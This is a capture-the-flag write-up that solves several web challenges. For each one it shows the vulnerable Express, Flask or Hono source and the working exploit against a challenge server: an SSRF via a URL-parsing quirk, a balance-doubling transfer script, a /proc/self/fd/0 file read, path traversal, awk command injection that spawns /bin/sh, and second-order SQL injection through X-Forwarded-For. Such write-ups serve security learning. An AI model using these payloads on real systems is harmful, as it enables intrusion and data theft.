Hack. Eat. Sleep. Repeat!!!
import express from "express";
import fs from "node:fs";
const waf = (path) => {
if (typeof path !== "string") throw new Error("Invalid types");
if (!path.startsWith("/")) throw new Error("Invalid 1");
if (!path.includes("emoji")) throw new Error("Invalid 2");
return path;
};
express()
.get("/", (req, res) => res.type("html").send(fs.readFileSync("index.html")))
.get("/api", async (req, res) => {
try {
const path = waf(req.query.path);
const url = new URL(path, "http://backend:3000");
const emoji = await fetch(url).then((r) => r.text());
res.send(emoji);
} catch (err) {
res.send(err.message);
}
})
.listen(3000);
string, it starts with / or includes emoji.It throws an error if it appears otherwise.-:const waf = (path) => {
if (typeof path !== "string") throw new Error("Invalid types");
if (!path.startsWith("/")) throw new Error("Invalid 1");
if (!path.includes("emoji")) throw new Error("Invalid 2");
return path;
};
/api/ route checks the query param which is passed to new Url() to form a path for http://backend:3000 like http://backend:3000/zzzz if the path is zzzz.It passes to the fetch() to make a request.Url() is the vulnerable part but we’ll get back to it later.express()
.get("/", (req, res) => res.type("html").send(fs.readFileSync("index.html")))
.get("/api", async (req, res) => {
try {
const path = waf(req.query.path);
const url = new URL(path, "http://backend:3000");
const emoji = await fetch(url).then((r) => r.text());
res.send(emoji);
} catch (err) {
res.send(err.message);
}
import express from "express";
import * as emoji from "node-emoji";
express()
.get("/emoji/:text", (req, res) =>
res.send(emoji.get(req.params.text) ?? "âť“")
)
.listen(3000);
secret:1337.Code-:import express from "express";
const FLAG = process.env.FLAG ?? "Alpaca{REDACTED}";
express()
// http://secret:1337/flag
.get("/flag", (req, res) => res.send(FLAG))
.listen(1337);
/flag returns the flag.//secret:1337/flag is passed as the first argument, it is picked over the absolute url as seen here.We can exploit this quirk to read this flag.new URL("//foo.example", "https://example.com");
// => 'https://foo.example/' (see relative URLs)
"//secret:1337/flag?emoji"//I passed emoji as a query since it is required
curl http://34.170.146.252:5737/api\?path\=//secret:1337/flag\?emoji
Alpaca{Sup3r_Speci4l_Rar3_Flag}%
const express = require('express');
const crypto = require('crypto');
const path = require('path');
const app = express();
const FLAG = process.env.FLAG ?? "Alpaca{**** REDACTED ****}";
const TRILLION = 1_000_000_000_000;
app.use(express.json());
const users = new Set();
const balances = new Map();
app.post('/api/register', (req, res) => {
const id = crypto.randomBytes(10).toString('hex');
users.add(id);
balances.set(id, 10); // Initial balance
res.status(201).json({ user: id });
});
app.get('/api/user/:user', (req, res) => {
const user = req.params.user;
if (!users.has(user)) return res.status(404).send({ error: 'User not found' });
res.status(200).json({
user: user,
balance: balances.get(user),
flag: balances.get(user) >= TRILLION ? FLAG : null // đźš©
});
});
app.post('/api/transfer', (req, res) => {
const { fromUser, toUser, amount } = req.body;
if (!Number.isInteger(amount) || amount <= 0) {
return res.status(400).send({ error: 'Invalid amount' });
}
if (!users.has(fromUser) || !users.has(toUser)) {
return res.status(400).send({ error: 'Invalid user ID' });
}
const fromBalance = balances.get(fromUser);
const toBalance = balances.get(toUser);
if (fromBalance < amount) {
return res.status(400).send({ error: 'Insufficient funds' });
}
balances.set(fromUser, fromBalance - amount);
balances.set(toUser, toBalance + amount);
res.status(200).json({
receipt: `${fromUser} -> ${toUser} (${amount} yen)`
});
});
/api/transfer-:app.post('/api/transfer', (req, res) => {
const { fromUser, toUser, amount } = req.body;
if (!Number.isInteger(amount) || amount <= 0) {
return res.status(400).send({ error: 'Invalid amount' });
}
if (!users.has(fromUser) || !users.has(toUser)) {
return res.status(400).send({ error: 'Invalid user ID' });
}
const fromBalance = balances.get(fromUser);
const toBalance = balances.get(toUser);
if (fromBalance < amount) {
return res.status(400).send({ error: 'Insufficient funds' });
}
balances.set(fromUser, fromBalance - amount);
balances.set(toUser, toBalance + amount);
res.status(200).json({
receipt: `${fromUser} -> ${toUser} (${amount} yen)`
});
});
const { fromUser, toUser, amount } = req.body;
if (!Number.isInteger(amount) || amount <= 0) {
return res.status(400).send({ error: 'Invalid amount' });
}
if (!users.has(fromUser) || !users.has(toUser)) {
return res.status(400).send({ error: 'Invalid user ID' });
}
fromBalance and toBalance, if a user send an amount equals to his balance, it deducts it from the actual balance which will be the 10 and also adds it back to the same balance since it is the same balance which is like double additon of the amount.A trillion is required to buy the flag, we can do this repeatedly and increasing the amount to get the flag.balances.set(fromUser, fromBalance - amount);
balances.set(toUser, toBalance + amount);
#! /usr/bin/env python3
import requests
import asyncio
url = "http://34.170.146.252:48620"
user_id = requests.post(url + "/api/register").json()["user"]
async def check_balance(user_id: str) -> int:
data = requests.get(url+"/api/user/"+user_id).json()
print(data)
if data["flag"] != None:
print(data["flag"])
exit()
return data["balance"]
async def main():
while True:
balance = await check_balance(user_id)
data = {"fromUser":user_id,"toUser":user_id,"amount": balance}
headers = {"Content-Type":"application/json"}
requests.post(url+"/api/transfer",json=data)
if __name__ == "__main__":
asyncio.run(main())
Alpaca{this_weekend_is_SECCON_CTF_14_Quals_dont_miss_it}App.py-:@app.get("/cat")
def cat():
file = request.args.get("file", "app.py")
if not Path(file).exists():
return "đźš«"
if "flag" in file:
return "đźš©"
return subprocess.run(
["cat", file],
capture_output=True,
timeout=1,
stdin=open("flag.txt"), # !!
).stdout.decode()
file parameter and passes it to Path(file).exist() to check if it exists and also if the word flag is in it.
file = request.args.get("file", "app.py")
if not Path(file).exists():
return "đźš«"
if "flag" in file:
return "đźš©"
cat to read the file.Also, it reads flag.txt with open and passes to stdin. return subprocess.run(
["cat", file],
capture_output=True,
timeout=1,
stdin=open("flag.txt"), # !!
).stdout.decode()
stdin arg in python3’s subprocess allows 4 values. Our case is an existing file object which is based on a file descriptor.- None (default): No redirection occurs; the child process inherits the parent process's standard input file handle.
subprocess.PIPE: A new pipe is created between the parent and child processes. This allows the Python program to write data to the subprocess's standard input using methods like Popen.communicate() or Popen.stdin.write().
- subprocess.DEVNULL: Indicates that the special file os.devnull will be used, effectively discarding any input intended for the subprocess.
- An existing file descriptor (a positive integer): The subprocess will use this specific operating system file descriptor for its input.
- An existing file object: Any object with a fileno() method (e.g., an opened file using open()) can be passed, and its underlying file descriptor will be used.
A file descriptor (FD) is a small, non-negative integer that the operating system uses as a unique identifier for an open file or other input/output (I/O) resource. 0 (STDIN_FILENO): Standard input, typically connected to the keyboard. 1 (STDOUT_FILENO): Standard output, typically connected to the terminal/console screen. 2 (STDERR_FILENO): Standard error, used for outputting error messages, also typically connected to the terminal/console screen.
/proc/<pid>/fd but in our case, the pid will be self and we’ll pass 0 to represent stdin after fd/0./proc/self/fd/0
Alpaca{https://http.cat/100}â•®
╰─❯ curl http://34.170.146.252:29656/cat\?file\=/proc/self/fd/0
Alpaca{https://http.cat/100}
import { serve } from '@hono/node-server'
import { serveStatic } from '@hono/node-server/serve-static'
import { Hono } from 'hono'
import { html } from 'hono/html'
import { readFile, writeFile } from 'node:fs/promises'
function randomString() {
return Math.floor(Math.random() * 4294967296).toString(16)
}
async function getResultContent(type) {
return await readFile(`${import.meta.dirname}/${type}`, 'utf-8')
}
const app = new Hono()
app.use('/*', serveStatic({ root: './public' }))
app.get('/draw', async c => {
const candidates = ['daikichi', 'kyo']
const resultType = candidates[Math.floor(Math.random() * candidates.length)]
const resultContent = await getResultContent(resultType)
return c.json({
type: resultType,
content: resultContent
})
})
app.post('/save', async c => {
const type = await c.req.text()
const content = await getResultContent(type)
const filename = randomString()
await writeFile(`${import.meta.dirname}/public/result/${filename}.html`, html`
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Result</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/water.css@2/out/light.css">
</head>
<body>
<pre>${content}</pre>
<a href="/">Back to Top</a>
</body>
</html>
`)
return c.json({
location: `/result/${filename}.html`
})
})
const port = 3000
console.log(`Server is running on port ${port}`)
serve({
fetch: app.fetch,
port
})
getResultContent allows us to read files with path traversal-:async function getResultContent(type) {
return await readFile(`${import.meta.dirname}/${type}`, 'utf-8')
}
c.req.text and pass the file-:app.post('/save', async c => {
const type = await c.req.text()
const content = await getResultContent(type)
const filename = randomString()
.text() returns the body’s value of Content-Type text/plain and return it as the value. /**
* `.text()` can parse Request body of type `text/plain`
*
* @see {@link https://hono.dev/docs/api/request#text}
*
* @example
* ```ts
* app.post('/entry', async (c) => {
* const body = await c.req.text()
* })
* ```
-d "../../../../../../flag" to read the flag. curl http://34.170.146.252:40060/save -d "../../../../../../flag"
import subprocess
from flask import Flask, render_template, request
app = Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def index():
query = ""
log = ""
if request.method == "POST":
query = request.form.get("query", "")
command = ["awk", f"/{query}/", "info.log"]
result = subprocess.run(
command,
capture_output=True,
timeout=0.5,
text=True,
)
log = result.stderr or result.stdout
return render_template(
"index.html",
log=log,
query=query,
)
query and pass it to subprocess awk /{query}/ info.log.Regex is expected but we can gain RCE.command = ["awk", f"/{query}/", "info.log"]
result = subprocess.run(
command,
capture_output=True,
timeout=0.5,
text=True,
)
BEGIN {system(“/bin/sh”)}
^ unexpected newline or end of string\n/ to fit the two slashes in it.I got no error.BEGIN code in the new lines middle and got a /bin/sh shell.>>> command = ["awk", '//\nBEGIN {system("/bin/bash")}\n//', "info.log"]
>>> result = subprocess.run(
... command,
... text=True
... )
/%0ABEGIN%20{system("cat%20/*.txt")}%0a/
curl -s http://34.170.146.252:29894/ -d 'query=/%0ABEGIN%20{system("cat%20/*.txt;")}%0a/' -o result.txt;head -n 100 result.txt
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}flag as shown in init_db.py-:db.execute("""
CREATE TABLE IF NOT EXISTS flag (
flag TEXT NOT NULL
)
""")
db.execute(f"""
INSERT INTO flag (flag) VALUES ('{FLAG}')
""")
/ and /set-:#Line 55
# Second order sql injection
@app.get("/")
def index():
ip = request.headers.get("X-Forwarded-For", request.remote_addr)
sid = session.get("sid", None)
if not IPV4_RE.fullmatch(ip):
return "Invalid IP", 400
data = g.db.execute(f"""
SELECT secret, ip FROM secrets WHERE id='{sid}'
""").fetchone()
/set, you’ll notice that after the INSERT gets executed, it returns the value of the id and save it in sid in the flask session.-:@app.post("/set")
def set():
ip = request.headers.get("X-Forwarded-For", request.remote_addr)
secret = request.form.get("secret", "")
if not IPV4_RE.fullmatch(ip):
return "Invalid IP", 400
secret = secret.replace("'", "''")
cur = g.db.execute(f"""
INSERT INTO secrets (ip, secret)
VALUES ('{ip}', '{secret}')
ON CONFLICT(ip) DO UPDATE SET
secret = excluded.secret
RETURNING id
""")
session["sid"] = cur.fetchone()["id"]
g.db.commit()
. is a special character in regex and should be escaped leaving us a sink that allows us to pass special characters instead of ipv4 addresses.-:
\d{,3}: Matches between 0 and 3 consecutive digits .: Matches any single character (except a newline), not a literal dot.re.ASCII: Restricts the \d shorthand to match only standard ASCII digits [0-9] instead of all Unicode digits. So you can pass
...or in our case'/*to exploit the sql injectionre.compile(r"\d{,3}.\d{,3}.\d{,3}.\d{,3}", re.ASCII)
secret replaces any quote ' with '' making sql injection impossible with quotes for now (I think). secret = secret.replace("'", "''")
'/* to X-Forwarded-For to do multi line comments and also because we can close it unlike --.I’ll pass the payload in it to show you the visual idea instead of just imagining it.INSERT INTO secrets (ip, secret)
VALUES (''/*---everything is on comment mode for now', '{secret}')
ON CONFLICT(ip) DO UPDATE SET
secret = excluded.secret
RETURNING id
*/ to close our long comment and normalize the insert statement because only two values are required which elimates the trailing quotes' and the comma leaving us like this-:INSERT INTO secrets (ip, secret)
VALUES (''/*', '*/')
ON CONFLICT(ip) DO UPDATE SET
secret = excluded.secret
RETURNING id
INSERT INTO secrets (ip, secret)
VALUES (''/*', '*/,"id")/*')
ON CONFLICT(ip) DO UPDATE SET
secret = excluded.secret
RETURNING id
While inserting the flag value, it will get saved in column secret which can also return later and read in our cookie
INSERT INTO secrets (ip, secret) VALUES (''/*', '*/,(SELECT "flag" from flag))/*') ON CONFLICT(ip) DO UPDATE SET secret = excluded.secret RETURNING id
RETURNING allows us to return values in sqlite3 which is useful.We can also return another column as another e.g secret instead of id.RETURNING secret as id
INSERT INTO secrets (ip, secret)
VALUES (''/*', '*/,(SELECT "flag" from flag)) RETURNING secret as id/*')
ON CONFLICT(ip) DO UPDATE SET
secret = excluded.secret
RETURNING id
curl -v http://34.170.146.252:23733/set -H "X-Forwarded-For: '/*" -d 'secret=*/,(SELECT "flag" from flag)) RETURNING secret as id/*'